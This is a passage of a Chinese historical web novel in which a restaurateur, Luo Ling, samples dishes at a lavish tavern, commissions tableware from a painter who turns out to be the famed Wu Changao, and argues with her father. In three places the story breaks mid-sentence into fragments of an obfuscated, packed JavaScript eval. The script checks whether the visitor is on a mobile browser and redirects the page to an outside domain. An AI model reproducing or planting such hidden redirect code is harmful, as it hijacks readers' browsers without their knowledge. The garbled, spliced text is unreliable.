罗姈随意点头，院子里的四个下人昨夜叫顾承禾好一通教训，今晨见了她都只敢远远地见礼，她自然不想麻烦别人。 一时无话，气氛陷入尴尬。 顾承禾倒是主动道：“罗娘子一会儿要去哪儿？我送你。” 罗姈微笑婉拒：“不劳烦，我们来东市就是来吃燕云楼的，走几步就到了。”说罢话锋一转，“对了，后日回门将军记着吧？” “自然。” “到时将军记得改口唤我三娘，不，干脆现在起就唤我三娘吧。” “三娘？”顾承禾拧眉不解。 “我生于三月三，幼时体弱，父母恐我夭折未敢取名，尝以‘三娘’代之，长久以来亲近之人都这般唤我，后日回门将军莫要露馅儿。” 嘱托完，再没多余的话好讲，罗姈自下了车。 正好午时已到，当用饭食，她们转身就进了燕云楼。 然而没成想还未踏进门槛就被拦下：“客官瞧着脸生，烦请出示一下花笺。” 罗姈被问地一愣：“花笺？” 这燕云楼还是贵宾制？看来今日是不成了…… 罗姈正想借口体面离开之际，恰而又有一位客人进门。 其衣样虽不华丽，但仅凭周身气度，罗姈推断这位老者的身份恐怕不下于她阿爹。 那人也没递花笺，轻车熟路地走向扶梯，另一小二照面就引着直入了顶层最隐秘的厢房。 罗姈收回视线之时，眼风捎带扫了一圈大堂里的食客，心下一定，问：“坐大堂也要花笺？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464422|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “喔，倒是不用，您里边儿请。” 做跑堂这行当断会识人，是以罗姈一进店就被当成了要坐上房雅间的贵客。 还好她方才粗略一扫，辨出燕云楼堂内坐的都是普通绅商，而上楼者显贵，约莫燕云楼对店客是有区分的。 小二将她们带到角落一张小桌，罗姈问：“你家招牌菜是什么？” 他拿来一张蜡笺纸作的食单：“娘子头一次来不如试试我们燕云楼的辣炒鸡？” 摸着那张描金粉蜡，罗姈心中不由感慨，不愧是长安第一楼，财大气粗，食单子都用的贡纸。 循着金纹看过去，罗姈瞪大了双眼：“什么辣炒鸡这样贵？” 一小份辣炒鸡四百文，都够买十只肥鸡了！ 她想过燕云楼菜价不菲，可没想到奢靡到如此地步，这京中有几人吃得起啊？ “娘子有所不知，我们燕云楼的辣炒鸡里头搁了胡椒，那可是外域来的稀罕物，滋味非比寻常。”小二凑过来小声道，“除了宫里，也就是咱们燕云楼能尝得到。” 胡椒这款现代必不可少的调味料在这个时代属于奢侈品，大周目前全靠外域进贡，亦或通商换取，流通数量极少，是以民间有“一两胡椒一两金”的说法。 那一份辣炒鸡卖四百文倒还有个由头，不过还是太贵了，她舍不得。 继续往下瞧，罗姈很快相中了隔壁另一道——挂卤鸭。 据说先帝南巡时途径升州，颇爱当地肥鸭，几乎每日必用。 上有所好，下必甚焉，各地风味鸭子便流行开来。 不过这菜一般店家做不了，且各地各店皆不同，她想看看燕云楼的师傅会如何处理这禽类中最难把控的鸭子。 除此之外，罗姈还点了两个小菜并一壶招牌琼浆酒，就这么几个菜，赶得上平头百姓一大家子数十日的花销了。 小二去传菜后，小春左顾右盼，压低声音：“娘子，咱们百味坊的菜价是不是太‘平易近人’了？” 罗姈也这么想，不过开店伊始她的目标食客只是那些手有余钱又有雅兴的富贵闲人，不比燕云楼在京畿中心，常有大人物驾临，价格失衡根本不重要，规格越高才越彰显身份嘛。 若是百味坊改到东西市，那价格确还能往上提提，不过同样的，这店内环境也要提提。 罗姈环顾一圈，大至漆金廊柱，小至紫檀筷托，将燕云楼内诸般泼金的置办尽收眼底。 若是比着这般装潢，她那点银钱根本不够看。 罗姈思索着百味坊的出路，手指耐不住在桌上切切地敲，直至菜上齐了都未发觉，小春不由出言提醒：“娘子？” 人一回魂，荤香早已盈满鼻腔。 要做挂卤鸭这卤水是最重要的，罗姈轻轻一嗅，便知味美。 不过观其色泽，与常见的黑皮不同，燕云楼的师傅卤出了诱人的黄色。 罗姈夹了一块鸭腿肉送入口中，闭气慢嚼，在牙齿和舌头的共同努力下将皮肉完美地褪骨剥离，鸭肉已经极尽入味，毫无土腥之气，鸭皮薄韧而弹牙，每一口咀嚼都有葱香夹杂在丝丝缕缕的鸭肉内。 如此美味，还不是庖厨的高明之处，最令罗姈佩服的是他对口感的掌控毫厘不差。 这鸭多挂一刻便柴，少挂一刻便无风干的嚼劲，吃完只觉意犹未尽。 即使冷吃，也是皮韧肉香。 罗姈不禁想若是她来做这道菜，能不能掐得这么精准。 自己做创新融合菜那是沾了现代资讯的光，取古今信息差的巧。真论起经验老到，刀工技术，比起这些大师傅还是自叹弗如，于庖厨技法上她仍有很长的路要走…… 罗姈一边思考一边用饭，吃得格外慢，小春已经风卷残云地扫荡了一大半了，她餍足地摸摸肚子，忍不住瞟向那玉壶：“娘子，可以喝酒了吗？” 她想得太入神，将这茬儿给忘了。 罗姈执壶倾倒，先递给小春：“‘酒为欢伯，除忧来乐[1]’，喝了这杯酒，愿百味坊日后生意兴隆，咱们财运亨通。” 举杯相碰，一饮而尽。 一杯酒，一口肉，再佐一碟炸得酥香的花生米，小春托着下巴，笑眯了眼：“这日子也太美了，要是咱们店也能有酒曲就好了。” 唉，罗姈摩挲着酒杯，心中不无遗憾。 大周禁民酤酿，唯酒楼正店才有资格榷酒买扑，像百味坊这种没有资质的脚店只能去酒务司购买散酒，味道只能说差强人意。 好菜不能配好酒，可惜矣。 小春很快不胜酒力，她甚至飘飘然说起醉话来：“瞧这乌木镶银的筷子，还有这莲纹漆金碗，坐在这儿吃酒用饭，我也好像是公主了。” 小春说得轻快，却一下点醒了罗姈。 她一直有心想把百味坊做得别致些，却总感觉差了点儿什么，今日她可算是明白了！ 百味坊行雅道，然不够尽善，始终差了一档。 罗姈心思几转，再美的酒也无心畅饮，她招呼小春起身，并摸向钱袋。 咦，她荷包呢？ 左右摸索不见，罗姈抱着一丝希望问：“小春，我的荷包是不是放你那儿了？” 小春人还晕乎着：“没有啊，出了柜坊以后就是娘子您收着呢。” 一个时辰前，来东市的路上，罗姈已将全副身家兑成银票收在一处。 丢的这个荷包，里面装着她攒的全部积蓄…… 7. 假蛤蜊 “多谢你，还辛苦折返一趟。”罗姈捏着荷包，终是舒了一口气。 原是先前她坐顾家马车时不慎落下了，还好顾承禾派顾钊回来找她，否则今日在燕云楼都难以脱身。 顺带还帮她安置了醉酒的小春，想着少缠干系，结果又欠下许多人情。 “无妨。”顾承禾淡淡道，“你接下来要去哪儿？” 他心里还负疚于使罗姈自赁车马一事。 罗姈未答，反问：“将军可否告知易郎君居所？” “易礼？你找他作甚？” 顾承禾剑眉微蹙。 罗姈索性直言：“寻个画师，想着易郎君这面上识得广些。” 她想要给新店专门定制一批特色食具，有许多创想可惜自己不能实现，是以想找一位小有名气的画师合作，大抵类似现代的“艺术家联名”。 “你要找谁？兴许我也识得。”顾承禾惦念着要帮衬一把，难得热情一回。 罗姈断是不想再承情了，只含混道：“没个具体，就想找个气韵独秀，肖似吴长傲那样的。” 吴长傲之于画坛的盛名，可谓超绝。罗姈故意这样说，好叫顾承禾知难而退。 然顾承禾闻言，却勾起一抹意味不明的浅笑。 “巧了，我今日正是要去找那吴长傲。” …… 不多时，顾承禾将罗姈带到一条静巷，七弯八拐好一阵，罗姈才看见一个两进的小宅。 门庭破落，连牌匾都未有一块，檐上厚雪无人扫，仔细还能瞧见结块的灰尘。 这破败样子，浑似一座空宅。 门也不上锁，伸手一推就听见大门颤巍巍地呜咽，随即如实地展露出满庭萧瑟。 罗姈表情难言，她忍了又忍，终是开口：“吴生当真居于此处？” 要知道吴长傲可是大名鼎鼎的画圣，一画千金，怎么可能住在这样的破瓦寒窑里。 只是这位大家从来都是只闻其名，不见其人，几乎无人见过真容，顾承禾自可随意诓她。 罗姈踟躇不前，顾承禾勾唇：“当真。” 环顾左右，这偏僻巷尾，顾承禾要是有心卖她，她也是逃不走了。 罗姈微叹一声，便跟着顾承禾进了门。 顾承禾径直向前，浑然熟路，不由分说推开内室大门：“吴长傲——” 里间竟真有人大声应他，语气还十分熟稔：“来的正得其时，帮我捡块磨刀石进来。” 随着室内徐徐展露，房间里温暖憋闷的浊气先是糊了罗姈一脸，拂开扬尘，罗姈怀着隐隐期待举目而望，只见那传闻中的不世画才吴长傲散漫地窝在榻上，被发跣足，不修边幅。 周身胡乱拥着毛褥，身后一圈刻刀、朱砂、檀木红轴，包括吃剩的半个饼全都挤挤挨挨在一处，散发出浓浓的懒汉气息。 与她想象的超绝世外的仙人之姿如亘天堑。 更不见他起身待客，兀自专注地篆刻手中一块驳色随形章子，连自个儿脸上钤了半个印都不知。 透过小半张侧脸，罗姈看了又看，迟疑道：“……易郎君？” 易礼循声回望，二人面面相觑，唯有顾承禾嘴角的笑徐徐蔓延。 …… 待到三人坐下，罗姈才终于消化了易礼便是吴长傲的事实。 “易郎君你……这也太玄妙了。”罗姈捏紧座椅扶手，径自喃喃，“吴长傲竟然就是你，你竟就是吴长傲！” 顾承禾继续出卖好友：“他喜好化名，不止‘吴长傲’，那个写杂剧的‘临安妙书生’也是他。” “……”罗姈这下子直接震惊到失语，她最爱那一本《长安梦》，讽刺世相，辛辣痛快，令人拍案叫绝！ 易礼乜顾承禾一眼：“都给你抖搂完了。”倒也不见真生气，转而对罗姈道，“拜托罗娘子替我守着口，莫要给外人晓得。” 易礼素有文才，又兼画艺与戏剧，想来以他的性子，化名在外是更愿做个逍遥郎。 罗姈自然应下：“易郎君才华惊世，我知轻重。” “说起来，你们夫妇新婚第一日，跑我家来作甚？”易礼横看竖看，摸着下巴万分不解。 “咳……” 罗姈有些尴尬地轻抚鬓发，正要说话，被顾承禾抢了先：“不是你叫我来的？” 易礼眉头一皱，此时屋内熏笼后面响起几不可察的一声—— “喵……” 易礼顿时如临大敌：“把它速速带走！快！” 罗姈探头望去，正对上一双剔透幽绿的大眼睛。 它毛色雪白，身布黄斑，团绒一般小小一个窝在熏笼后面，见人也不藏，甚至悠然自得地洗了洗自己的小花脸，丝毫未有惧怕之意。 罗姈瞧那乖顺模样就心生欢喜：“易郎君怕猫？” “这猫就是他自个儿养的。”顾承禾三两步走过去逮猫，小猫儿眼珠一转，一下子就蹿到罗姈脚边。 罗姈小心翼翼地伸手给它去嗅，以示友好，继而挠下巴撸毛，百般讨好，趁着小猫呼噜享受之际，一把捞起抱进怀里。 “你还真是不认生啊。”易礼忿忿道，不免有些吃味。 “它叫什么名字？”罗姈手法温柔，几下就收服了这只小花猫，窝在她怀里乖巧得很。 “东狸。”易礼挥手道，“正好它也喜欢你，赶紧把它领走。” 明明说着不耐烦的话，余光还是忍不住瞥去，而东狸却正慵懒地抻腰，半点没看主人。 小没良心的，易礼暗啐。 “易郎君真不养了？”罗姈确认道。 易礼大手一扬：“不养了。” 顾承禾回到圈椅上坐下，马上揭穿：“你别信他的，他叫我领走东狸不是一两回了，每次不到三五日就自己偷了回去。” 易礼一哽，涨红着脸狡辩：“那是东狸想我了，它认主，自己跑回来的！” 罗姈忍着笑意，问起缘由：“这次又是何缘故非送走不可？” 说到这里，易礼再一次气上心头，在各个角落里搜罗出一堆破烂：“瞧瞧，这绿绫湖锦给它挠的，还有我这寒梅图，一个月重画三回了！” 易礼将“罪证”怼到始作俑者面前，对方只是投来轻蔑的一瞥，半点不睬。 “赶紧把这祖宗给我带走。”易礼把手里的废稿往地上狠狠一丢，消解火气。 云肪四散，东狸这会儿又来了兴致，纵身一跃跳下膝头，追着烂布纸稿撕咬成屑，自己玩儿得不亦乐乎，把易礼整得彻底没了脾气。 罗姈掸掸裙上浮毛，犹豫半晌，说起正事：“……易郎君，其实我今日来是有要事相求。” “哦？”易礼转头，眉梢轻挑。 “百味坊重新开张，我想专门定制一批新的食具，望赐墨宝。” 起初她确然不敢妄想请“画圣”为她的小食店添彩，这不是赶巧了么，既是熟人，不免让她生出期许。 “重新开张？什么时候歇业的，我竟不知？”易礼眼中盛满疑惑，一旁的顾承禾亦然。 罗姈只好把今晨的事情略略讲了一遍。 “这么背时！”易礼不禁感叹。 “是啊，”罗姈附和感叹，“不过若不是这一道天雷，我也没机缘知晓鼎鼎大名的画圣吴长傲竟还是我小店的熟客呢。” 读出罗姈眼里的狡黠，便知她之豁达，易礼隐下无用的宽慰，转而学语：“若不是罗娘子登门，我也没机缘坐在这儿与相府千金相谈甚欢呢。” 二人对视，会心一笑。 易礼啧啧嗟叹，想起在百味坊的因缘际会，自己将罗姈的话圆了起来：“我就说，你一小娘子哪来这么多孤本，原是罗相私藏。” 他心中一虑终于得解。 易礼心思一转：“罗娘子想请我的中书君[1]？” 接收到罗姈投来疑惑的目光，顾承禾无奈帮着解释：“中书君是他给毛笔起的名字，除此之外还有陈玄、陶泓、褚先生，笔墨纸砚一应俱全。” 罗姈明了一笑，大师真有顽趣。 易礼挑眉：“罗娘子，我的润格可是不菲。” 听到这话罗姈心里一咯噔，没想到易礼会不看一点儿交情，没有折价，那她怎么付得起。 然峰回路转，只听易礼嘿嘿一笑，大手一挥：“就拿那些藏书来换吧。” 他可是惦记那些宝贝好久了。 不要钱，可罗姈心中愈发苦涩了。 都怪自己当初卖弄太多，以为随便扯个“孤本”的幌子就能蒙混过去，现在可好，上哪儿去找那些后世产物。 罗姈抿唇，头疼不已，半晌才想出应对：“那些书……都是幼时在黄州所学，也不全是家父的，我做不得主。” “这样……”易礼脸上满是遗憾，转瞬又有了新主意，“那就以饭为酬，罗娘子曾许诺的新菜品，我要先尝，一饭一画，概不赊账。” 这还不简单，罗姈长舒一口气，自是满口应下：“现在就能预付‘订金’，想吃什么，今日为吴生开回特例，接客订。” 光是想想那些美肴就要垂涎欲滴了，易礼听了这话两眼放光，毫不客气：“先前你说过那什么‘假菜’能做吗？” 罗姈想了想，约莫是从前与食客闲谈时提到的一些以假乱真的手艺。 “你是说假蟹、假元鱼、假河豚之类？” “对，就是这个！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本想着要大展身手的，现在只能说是尽力而为。 太复杂的做不了，仅有鱼虾，那就来道“假蛤蜊”吧。 罗姈先收拾了一圈灶台，搜罗齐所需之后，大刀阔斧地斩起了鱼。 这杀鱼啊不能马虎，否则腥气难去，味道不美。 她先用刀背将鱼拍晕，收拾鱼鳞，尔后顺着肚子一划，掏干净肚肠，除此之外，还要刮黑膜、抽鱼腥线、挤鱼骨血，这才算是料理干净。 接下来就是片鱼了，颇校验刀工，倒不需斫鲙那般薄如蝉翼，而是要同真蛤蜊那般中间厚四周薄，力求形似。 罗姈专注地在鳜鱼身上取下一批“蛤蜊片子”，用盐、酒腌渍去腥。没有葱，她还特地找易礼讨了个橘子，以橘皮代之共腌一处，图个心中安慰。 起锅，烹豆油，将虾脑炒至金黄，散溢鲜香，复加水炖煮，大火收汁，熬出一锅精华浓汤。 最后将鳜鱼精肉别虾汁汆烫，至边缘微微卷曲即可。 呈上桌前，罗姈还去没收了易礼几个贝雕材料精心装盘，以形提味，以味补形。 “这是……假蛤蜊？”易礼惊喜道。 冬季停漕，一枚蛤蜊可哄抬至千钱，即使贵如皇戚亦不堪用，罗姈端出的这道蛤蜊虽明知是假，也足以让易礼这样的老饕心潮澎湃了。 此刻灵嗅如东狸也闻着味儿来了，它一跃而上试图跳上桌子，被眼疾手快的易礼捏住后脖颈，指着鼻子警告：“这是我的，不许抢！下去！” 东狸挣扎着对易礼又踹又咬，说什么也不放弃“猛虎扑食”，罗姈赶紧拿出剩的虾肉打破僵局：“东狸来吃这个，那是我付你主子的酬金，你的小灶在这儿。” 这下一人一猫才各归其位。 易礼又将眼睛虚虚瞥向顾承禾，两人眼神对上的一瞬，顾承禾了然嗤鼻：“不同你抢，尽吃你独食去。” 易礼这才安心坐下，迫不及待从半开的贝壳中取出一箸鲜嫩“蛤蜊”放入口中，入口嫩滑弹牙的鳜鱼肉在口齿中迸发出鲜甜的汁水，鱼肉咀嚼中略有韧劲，闭上眼与真蛤蜊几无二致，余韵还有似有若无的果香。 一枚一枚，根本停不下来。 拢共十八枚，顷刻扫光，易礼仍意犹未尽，他甚至垂涎于盘中残汤，端起来就一饮而尽，口中鲜香荡漾。 这个冬日能尝此味，毕生难忘。 这边罗姈悠然喂猫，易礼惬享佳肴。 弥散的鲜香对面，还有一人未用午食，此刻强忍腹中空空，却无人在意…… 8. 荷花酥与山煮羊 到了回门日，天公作美，艳阳高照。 罗府上下也都盼着今日，罗姈的阿娘姚静云更是亲自在府门外候着车马。 亲亲热热挽着阿娘进门，罗姈一路上话都没停。 到了正厅，罗正松板着个脸坐在高位，姚静云连忙打圆场：“你阿爹今天还特意吩咐厨房做了你最喜欢吃的五味粥，饿了吧，先吃饭。” 末了给罗正松使了个眼色，罗正松撇嘴起身，一抬胡子：“吃饭。” 走在后头的罗姈亦同顾承禾对了个眼神。 饭桌上，鸡鸭鱼肉冷盘热膳备了一大桌，年节似的丰盛，姚静云还亲自布菜，给顾承禾堆了满满一碗。 “阿娘，足够了。”罗姈再不制止，姚静云就要再盛出一碗了。 “承禾可别拘着。”姚静云终于坐下。 罗姈这婚成得突然，两家亦不算知根知底，姚静云牵挂女儿，好几日寝食难安，今日回门不由得问了许多。 还好他们早就对了说辞，问答间竟还显出几分琴瑟和鸣。 姚静云甚是满意，饭桌上一派和乐融融，直到—— 罗正松用完最后一箸豚肉，放下筷子悠悠开口：“三娘。” 罗姈一瞧这架势便晓得她阿爹要说正事了，放下碗，正襟危坐。 “你在青龙大街的那家置业……” “已经关了。”知道罗正松想问什么，罗姈索性率先将话堵了。 罗正松略一点头：“敬顺之道，妇人之大礼也[1]。如今你已嫁做人妇，好好在家相夫教子，那些失礼之事绝不可再碰。” “夫礼之初，始诸饮食[2]。”罗姈当即反呛，“人莫不饮食，女儿不知经营食店何处失礼？” “诡辩！”罗正松横眉冷对，“哪个官家女郎像你一般整日抛头露面？” 又是老生常谈的那套女德女训，罗姈一个现代人真是忍不了一点，冷语相讥：“哦？太后娘娘广开恩德也是鲜廉寡耻？” 世人皆知，当今圣上的生母曾当垆卖酒，入宫后设女学堂，鼓励孀妇营商自立，圣上践祚后还为母立传，奉为美谈。 所谓上行下效，大周现今风气才如此开明。 以罗正松这位“前朝遗老”的作风自是不能容忍，贬谪前没少上折斥之。 罗姈此话一出，室内顷刻如坠寒冰。 不知从何时起，父女俩一说话，不出三句就剑拔弩张。姚静云扶额叹气：“好了，怎么今日还吵呢，都少说两句。” “三娘，这话是能胡乱说的吗？还好是在自家，要是传出去半个字，会引来多大的祸事。” 罗姈自知失言，垂头听训。 “叫姑爷看笑话了。”姚静云看向顾承禾。 顾承禾忙赔笑，眼观鼻鼻观心，不置一词。 “店子闭了也没事，阿娘手里还有个庄子，添给你。”姚静云安抚地拍了拍罗姈的手。 “阿娘……我不要您的庄子。”罗姈皱眉，神情别扭。 她是缺钱，但她不能要他们二老的银子。 罗相为官清正，可以说是两袖清风，攒的家底全给罗三娘做了陪嫁，里面的拳拳爱女之心都是属于罗三娘的，她不能肆意挥霍。 她罗姈自己的理想，可以自己挣。 冷静下来，罗姈对罗正松郑重宣告：“您要我嫁人，我嫁了，当初说好的成婚后就不再管我，您不能食言。这食店我一定会再开，届时新店开业给您下帖子。” 说罢，起身便走。 “逆女！”罗正松指着罗姈的背影怒斥，“言行无状，目无尊长，老夫怎么教出你这么个逆女！” 他转向顾承禾：“你回去好好管教她，怎么打罚跪祠堂都不为过，老夫说的！” “老爷！”姚静云心疼了。 “你还好意思说，都是被你骄纵的。”罗正松没好气道。 “岳丈，”顾承禾孤坐了大半日，这会儿终于开口，“三娘言语冲撞，我代其以表歉意。” 作揖起身，他的眼清亮如刃：“但恕小婿莫能从命。” 他毫不犹豫地维护罗姈：“做我顾家妇不需要相夫教子，世间女郎能做的，她都做得，儿郎能做的，她也做得。只要她想，便无拘。” “至于礼义廉耻，无论世间怎想，静观己心，吾不觉有失。” 语毕告辞，追着罗姈的步伐远去。 罗正松还虚望着门口，回过神来才发现自己竟择错了人。 他以为顾承禾会如同周世清一般听他的话，接手罗姈的人生。 现在看来这桩婚事与他所想相去甚远，但后悔也无济于事了…… 回到顾府后，罗姈每日晨鼓过半就出了门，奔忙于瓷窑、琉璃厂与易礼家，抽空还要去看铺面。 连轴转了数日后，总算敲定了第一批食具图样，也同牙人签订了契书。 十五开业，大吉大利。 这日子定得急是急了些，原是想等过完年再办，可同罗正松那一吵，罗姈心中卯着一股劲儿，非要办成不可。 为了将开业办得风光漂亮，罗姈还专托熟客许博士引荐了教坊司副使，欲请一队乐工届时在店内娱客。 可无论罗姈百般相请，万副使就是不肯借人，直到第三日直接闭门不见。 新店仅靠老主顾捧场是远远不够的，此事不协，给罗姈泼了好大一盆冷水。 从教坊司回来恰经燕楼街，昨儿个易礼给她辗转弄了张燕云楼的花笺，今日干脆顺道一探究竟。 不同于坐在大堂，此次罗姈往楼上一走，就感受到了微妙的不同。 于飞桥栏槛登临一览，惊觉这燕云楼真是豪奢到了极致。 四方顶梁上用金丝楠木雕的瑞兽，口含拳头大小的夜明珠。还有雅间外面挂的和田玉牌，林林总总十数余，就这么随意挂在外头，无一不显示出东家的财大气粗。 这些奢靡到极致的东西都是她在楼下瞧不见的。 罗姈迤迤然坐下，紫檀桌上已经摆满了枣圈松子，各色蜜饯鲜果，她心中微叹，看这架势，今天不点个硬菜是出不了这门了。 她这边正肉痛呢，随同的小春已经乐呵呵吃上了。 罗姈摇首失笑，接过食单，嚯—— 与大堂看到的那张截然不同。 胡椒辣炒鸡那般贵得咋舌的菜式，在这张食单里都不够瞧的。 清蒸白鳝蟠龙菜、蜜煎雕花文武鸭…… 这些个贵细看得罗姈是头晕目眩，纠结半晌都点不出一道。 小二瞧出她为难，十分体贴地推荐道：“冬日食羊进补葆生，娘子不若来道山煮羊？” 羊价本就绝高，在此地食羊，这伙计是欲把她当肥羊宰了。 山煮羊的做法也平平无奇，无甚可偷师的，罗姈不予考虑。 但那小二又道：“此一味可是我们燕云楼冬日最受欢迎的炖菜，桌桌席面必备，无人不赞呢，娘子不知吃什么，点这道准不错。” “哦？”此言引起了罗姈的兴趣，不就是一道山煮羊，能有什么特别？ 思忖片刻，罗姈依言：“那我可要尝尝。” “好嘞！”推销成功，小二笑得见牙不见眼。 除此之外，罗姈还要了份小春爱吃的荷花酥，试试燕云楼的白案手艺。 待人走后，小春赶紧掰了瓣鲜橙给罗姈：“娘子你也吃呀，咱得吃回本。” 罗姈失笑，转头打量一圈，红木螺钿香扆、镀金座钟、珐琅水仙盆景，和好大一张银狐皮的内饰，就这么大剌剌摆着，真真是富贵迷人眼。 她起身推开轩窗，冷冽的寒风吹散迷醉，向东南方向远眺，在看不见的街口，那里正是百味坊的新址。 在不久后的将来，她会赚到足够的银钱，然后飒行大好江山万里，遍尝浮世珍馐百味，过上“罗姈”本该自由、灿烂的一生。 等待期间，小二敲门来唤：“娘子，马上闹厅[3]，您可以去挑了。” 罗姈不知其意，闻讯去看，楼下大堂里竟牵了只活羊，穿着彩衣的人们正围着羊载歌载舞。 小春也没见过这架势，只觉得热闹极了，一口一个果子咬得嘎嘣脆，一会儿指着东面：“娘子你瞧!”一会儿指着西面，“娘子快看!” “好！跳得好！”捧场极了。 一曲舞毕，其中一人高喝一声，旋即掏出匕首将羊宰杀。 所有观览的客人掌声雷动，罗姈也被气氛带动，跟着拼命鼓掌。 随后，马上有伙计陆续下楼将羊肉用彩线分系。 高层的客人挑完了，轮到罗姈，她想了想，挑了一截腿，伙计还奉承道：“腿肉鲜嫩，娘子善择也。” 回到厢房，小春还在回味感叹，甚至有模有样地学起那胡舞。 罗姈托腮暗忖，营造“仪式感”么？ 学到了。 且因知是现宰现烹，所以漫长的等待也变得可以接受。 不过好在中途上了荷花酥，给她们垫垫肚子。 所谓食不厌精脍不厌细，这燕云楼的白案师傅确是践行到了极致。 罗姈捻起一块细细端详—— 妃色的面皮层层分明，灿若莲花，稍一用力，碎屑如雪，可见酥脆。 罗姈还在观赏，小春已经吃完一个了，她抹掉唇边残渣：“这花儿捏得好看是好看，还是没有娘子做得好吃。” 罗姈自己尝了一口，就是这馅儿调的甜了些，旁的手艺无可指摘，尤其是花蕊，切的比她细，确实好手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464424|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺。 “你要觉得不好吃，那全便宜我了？”罗姈晓得小春拍马屁的心思，忍不住逗逗她。 “哎——”小春肉眼可见的慌张，忍不住咽了口唾沫。 罗姈扑哧一笑，把盘子推过去：“都是你的，没人跟你抢。” 过了许久，小春连碎渣子都捻起吃尽了，山煮羊才姗姗而来，随之一道的还有一摞比羊脸还大的烧饼。 “传错菜了吧，”罗姈好心提醒，“我们只要了山煮羊，没叫烧饼。” 小二笑道：“没错呢，我们燕云楼的山煮羊专配了烧饼，一口羊汤一口饼，软嫩酥香，您且尝。” 罗姈鼻尖轻动便知所言不假，她迫不及待探身观察。 羊汤清亮如小池春水，骨肉縻烂叫人望而生津，还有杏仁与葱椒点缀其中，令人食指大动。 搅动玉柄，腿骨上的彩线一同浮起。 罗姈盛了一小碗，一口热乎的羊汤下肚，熨帖了整个寒冬。 再来一口羊腿肉，既厚且嫩，肥脂在唇齿间一抿就化，回味无穷。 她正享受着，那头小春咋呼起来：“娘子，你快尝尝这饼，太香了！” 哦？小春可是跟着她吃遍了美味，什么饼能叫她如此意动？ 不过这饼可忒大，罗姈干脆只折了一半。 入口便有一股浓烈的奶香充盈其间。饼内中空，看得到铺了满满一层羊肉馅，边缘焦黄，很有嚼劲。 里头还搁了不少胡椒，略一咀嚼，胡椒的滋味就被充分激发，诱得身体里的热气直往上冲，让人直呼辛辣爽快，忍不住再饮一口羊汤。 好吃！真好吃！ 一口饼，一口汤，如此循环往复，等罗姈意识到时，她的手已与小春同时捏住最后一张饼了…… 罗姈笑罢推让，小春大口嚼着饼，含混着问：“娘子，他们的烧饼怎么这么香？” 罗姈手抵下巴：“应是添了奶酥的缘故，才会如此香甜。” “面也筛了多次，才得这般好颜色。” 她仔细回忆还有什么地方值得注意，未曾想小春一语中的：“还有胡椒！早就听闻胡椒辛香刺激，不似花椒麻嘴，我第一次吃，真是太美味了！” 是了，若是没有胡椒的缠人滋味，恐怕这道菜要失色不少。 想来这道山煮羊如此受欢迎，正是因一烈一柔精妙搭配的缘故。 就在她们二人说话之际，隔壁忽而传来一阵琵琶乐曲，十分动听。 “这雅间就是好，还有曲儿听呢。”小春支着下巴，摇头晃脑享受非常。 罗姈一面听着曲儿，一面等小春收尾，原是无心过耳，这会儿一听，楼里的琵琶女技艺还真是不俗，格外令人沉醉。 不过要说今日的收获还真是大，荷花酥精致，羊肉烧饼粗犷，燕云楼的白案手艺她受教了。 还有最重要的一课——“餐前仪式感”，要她三两银子的束脩不亏。 等小春用完最后一口肉，罗姈结完账往外走，廊对向匆匆行来一人，瞧着十分面熟。 “……万副使？” 其人正是罗姈拜访多次都不得见的教坊司副使万闲。 他脚步立顿，皱眉冷睇：“罗掌柜？说了不借人就是不借人，你莫要厚着脸皮痴缠，还追到燕云楼里来了。” 没想到会在这儿遇上，罗姈无力解释：“好，我只问副使一句，何故推拒？” “您不必再搪塞我，我已去问过，十五那日外廷乐工们得闲，是我价给的不够？” 万闲嗤笑，语气更是夹枪带棒：“呵，给你几分颜面还不要。” 他指了指燕云楼金碧辉煌的顶梁：“你瞧瞧这儿，再瞧瞧你那小破店子，从门前过我都嫌沾泥儿。” “我们教坊人平时出入的可是禁中，抽空到坊外那也都是酒楼华筵，不是什么人都有脸面请的。” 万闲轻蔑一瞥，姿态高高在上。 他以为对方一定恼羞成怒，没成想罗姈闻言笑了：“原是如此，多谢万副使指点。” 万闲没能收获臆想中对方的窘迫或愤怒，自己反觉吃了个瘪，不再理会罗姈，一甩衣袖，没入左手厢房。 小春在一旁气红了眼：“他当自己是谁啊，娘子您怎么能受这种气？” 罗姈安抚性地拍拍小春：“为这点小事生气不值当。” 说话间主仆二人行至拐角，忽而又撞见一抹颜色。 罗姈抬眸，只见眼前人青衫环佩，云鬓堆鸦，一双纤纤玉手紧紧拢着琵琶，一步一婀娜，姿容胜玉雪。 在如画的眉目间，罗姈依稀想起她的名字：“……逢莺娘子？” 逢莺深深施礼，眼梢含笑，漾出轻柔悦耳的声音：“罗掌柜需要乐人，看我可行？” 9. 全鸡宴（上） “逢莺娘子肯帮忙那真是再好不过了。” 人可是长安第一琵琶手，要真能成事，倒比教坊乐工更好。 